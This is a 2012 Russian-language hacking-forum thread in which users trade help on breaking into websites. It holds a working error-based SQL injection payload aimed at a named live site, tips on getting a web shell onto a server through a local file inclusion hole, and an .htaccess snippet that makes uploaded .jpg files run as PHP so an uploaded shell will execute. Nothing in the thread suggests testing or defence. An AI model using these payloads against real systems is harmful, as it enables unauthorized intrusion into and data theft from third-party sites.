 |
|
21.03.2012, 05:11
|
|
Постоянный
Регистрация: 19.09.2008
Сообщений: 511
С нами:
9285182
Репутация:
340
|
|
Ребят, что делать если proc/self/environ пуст?
Хотя тут всё ок
proc/self/status
proc/self/cmdline (/usr/sbin/apache2-kstart)
etc/passwd
|
|
|
21.03.2012, 05:22
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами:
9846041
Репутация:
1177
|
|
Fooog
Во-первых, к переменным окружения не всегда есть доступ.
Во-вторых, там не всегда есть данные, которыми можно манипулировать.
В -третьих, твои слова:
Сообщение от None
хоть с null байтом, хоть без
Звучат весьма, мммммм, эпично =\
|
|
|
|
21.03.2012, 11:02
|
|
Постоянный
Регистрация: 19.09.2008
Сообщений: 511
С нами:
9285182
Репутация:
340
|
|
ну так а что в таком случае делать?
|
|
|
|
21.03.2012, 11:28
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
Сообщение от Fooog
Tigger, я только вчера LFI уязвимость начал разбирать ;D
зы
ну так а что в таком случае делать?
искать логи и заливать шел через них
|
|
|
|
21.03.2012, 13:03
|
|
Постоянный
Регистрация: 13.10.2010
Сообщений: 375
С нами:
8200406
Репутация:
38
|
|
Сообщение от Fooog
Tigger, я только вчера LFI уязвимость начал разбирать ;D
зы
ну так а что в таком случае делать?
Если на сервере (именно на всем сервере на любом сайте) есть phpinfo - можно спокойно залить шелл через LFI.
|
|
|
|
21.03.2012, 15:00
|
|
Участник форума
Регистрация: 08.09.2011
Сообщений: 137
С нами:
7725206
Репутация:
26
|
|
как раскрутить через error based?
http://www.sirirajmedj.com/content.php?content_id=2554
|
|
|
|
21.03.2012, 15:09
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от smirk
как раскрутить через error based?
http://www.sirirajmedj.com/content.php?content_id=2554
Например так:
http://www.sirirajmedj.com/content.php?content_id=2554+and(select+1+from(sele ct+count(*),concat((select+table_name+from+informa tion_schema.tables+limit+1,1),floor(rand(0)*2))x+f rom+information_schema.tables+group+by+x)a)--
Смотри исходник(внизу):
|
|
|
|
21.03.2012, 15:30
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
а вот такой вопрос, залил шелл на сайт через админку, открываю его а мне пишет
500 Внутренняя ошибка сервера, я тут гдето видел что нужно залить файл htaccess а что в нём должно быть написано чтобы всё работало?
|
|
|
|
21.03.2012, 15:38
|
|
Постоянный
Регистрация: 30.08.2010
Сообщений: 327
С нами:
8263766
Репутация:
11
|
|
Код:
AddType application/x-httpd-php .jpg
AddHandler application/x-httpd-php .jpg
|
|
|
|
21.03.2012, 15:40
|
|
Участник форума
Регистрация: 08.09.2011
Сообщений: 137
С нами:
7725206
Репутация:
26
|
|
Сообщение от Ereee
Например так:
http://www.sirirajmedj.com/content.php?content_id=2554+and(select+1+from(sele ct+count(*),concat((select+table_name+from+informa tion_schema.tables+limit+1,1),floor(rand(0)*2))x+f rom+information_schema.tables+group+by+x)a)--
Смотри исходник(внизу):
спасибо большое, ток я не могу тебе + поставить
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
